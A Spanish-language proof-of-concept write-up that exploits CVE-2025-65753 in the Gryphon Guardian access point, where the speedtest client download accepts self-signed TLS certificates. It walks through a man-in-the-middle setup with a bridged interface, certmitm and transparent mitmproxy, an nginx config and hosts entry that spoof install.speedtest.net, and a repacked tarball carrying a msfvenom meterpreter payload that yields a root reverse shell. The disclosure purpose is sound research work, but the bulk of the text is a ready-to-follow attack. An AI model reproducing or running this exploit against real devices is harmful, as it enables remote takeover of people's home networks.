
Explotación de prueba de concepto para CVE-2025-65753: ejecución remota de código en el punto de acceso Gryphon Guardian mediante una validación incorrecta del certificado TLS, lo que permite ataques de MitM y suplantación de DNS.
Prueba de concepto para CVE-2025-65753: Ejecución remota de código en el punto de acceso Gryphon Guardian, versión de firmware 01.06.0006.22, debido a una validación incorrecta del certificado TLS.
El punto de acceso WiFi Gryphon Guardian, con la versión de firmware 01.06.0006.22, no valida correctamente el certificado TLS de un cliente de speedtest de internet descargado después de solicitarlo a través de la aplicación. Esta falla permite que un atacante intercepte y manipule la comunicación, inyectando en el cliente código malicioso que posteriormente es ejecutado como root por el punto de acceso.
Hay 2 formas de explotar esta vulnerabilidad:
Para los propósitos de esta PoC, el tráfico del punto de acceso se enruta a través de la computadora del atacante (básicamente un ataque MitM), puenteando 2 interfaces de red, como se ve en este diagrama.

Para hacer esto, mientras también redirigía el tráfico TCP al puerto local 9900 para su análisis, usé mi propia herramienta: https://github.com/diegovargasj/bridge-interfaces

A continuación, usé la herramienta certmitm de aapooksman (https://github.com/aapooksman/certmitm) para analizar conexiones TLS y desplegar automáticamente múltiples ataques para probar la validación del certificado. Esto revela varias fallas en múltiples servidores. La que llamó mi atención fue la descarga del cliente speedtest desde https://install.speedtest.net/app/cli/ookla-speedtest-1.2.0-linux-armhf.tgz, que puede ser interceptada con un simple certificado autofirmado.

El tarball contiene un ELF compilado para ARM de 32 bits, que claramente se descarga, descomprime y ejecuta por el dispositivo.

El dispositivo no valida la autenticidad del certificado TLS, ya que acepta gustosamente uno autofirmado. Por lo tanto, al desplegar un servidor HTTPS y suplantar las respuestas DNS para install.speedtest.net, puedes servir cualquier ejecutable de tu elección. Para hacer esto, simplemente usa la siguiente configuración de nginx:
server {
listen 443 ssl default_server;
server_name install.speedtest.net;
ssl_certificate /path/to/self_signed_cert.pem;
ssl_certificate_key /path/to/self_signed_key.pem;
root /path/to/webroot;
}
A continuación, agrega la siguiente línea a tu archivo /etc/hosts, para suplantar las respuestas DNS a través de dnsmasq.
192.168.0.15 install.speedtest.net
Finalmente, reinicia el script bridge-interfaces.sh, mata certmitm.py y ejecuta mitmproxy:
mitmproxy --listen-host 192.168.0.15 --listen-port 9900 --mode transparent -k
Ahora solo necesitamos el payload. Dado que el punto de acceso tiene Python instalado, un simple script de meterpreter será suficiente. Crea el script con msfvenom:

Reemplaza el ELF original del cliente speedtest con un script bash para llamar al payload:
python payload.py
Y empaquétalo en un tarball, con la ruta adecuada para que coincida con la solicitud web a https://install.speedtest.net/app/cli/ookla-speedtest-1.2.0-linux-armhf.tgz:
tar -czvf ookla-speedtest-1.2.0-linux-armhf.tgz speedtest payload.py
Ahora configuramos el listener de meterpreter. Después de llamar a la prueba de velocidad desde la aplicación Gryphon, obtenemos la shell reversa como root.

Y podemos ejecutar comandos arbitrarios dentro del punto de acceso.
